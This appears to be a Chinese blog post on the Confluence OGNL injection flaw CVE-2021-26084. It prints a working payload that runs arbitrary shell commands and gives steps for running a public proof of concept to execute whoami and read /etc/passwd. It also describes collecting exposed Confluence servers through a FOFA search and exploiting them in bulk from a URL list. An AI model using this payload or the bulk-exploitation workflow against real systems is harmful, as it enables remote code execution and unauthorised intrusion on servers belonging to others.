近日,Atlassian官方发布了Confluence Server Webwork OGNL 注入漏洞(CVE-2021-26084)的安全公告,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,可构造OGNL表达式进行注入,实现在 Confluence Server或Data Center上执行任意代码,CVSS评分为9.8。请相关用户尽快采取措施进行防护。
Atlassian Confluence是Atlassian公司出品的专业wiki程序。它可以作为一个知识管理的工具,通过它能够实现团队成员之间的协作和知识共享。
参考链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
受影响版本
不受影响版本
三:漏洞POC
1、https://github.com/FanqXu/CVE-2021-26084
2、https://github.com/h3v0x/CVE-2021-26084_Confluence/
3、https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
四:漏洞复现
我用的是https://github.com/FanqXu/CVE-2021-26084的poc进行验证的,将github的poc下载下来。
关键POC部分如下所示:
"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022" + command + "\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
确认好你的python环境,使用pip安装如下库:
import requests
import sys
import os
import urllib3
import argparse
from bs4 import BeautifulSoup
import html5lib
遇到安装BeautifulSoup库报错如下的话,记得指定源下载即可解决报错问题。
命令如下:
pip install bs4 -i https://pypi.douban.com/simple --trusted-host pypi.douban.com
环境准备就绪,即可运行脚本验证漏洞了。
首先验证是否存在漏洞,如下是漏洞已存在。
python PoC.py -u xxxx
然后再执行命令,比如执行whomai试试。
python PoC.py -u xxxx -e whoami
执行cat /etc/passwd.
python PoC.py -u xxxx -e "cat /etc/passwd"
五:fofa批量
关键字搜索app="ATLASSIAN-Confluence"
然后使用fofa工具导出结果存到urls.txt,再使用https://github.com/FanqXu/CVE-2021-26084的poc进行批量验证即可。
使用的命令如下:
python PoC.py -f urls.txt
参考文章:
1、http://blog.nsfocus.net/atlassian-confluence/
2、https://github.com/FanqXu/CVE-2021-26084
3、https://github.com/h3v0x/CVE-2021-26084_Confluence/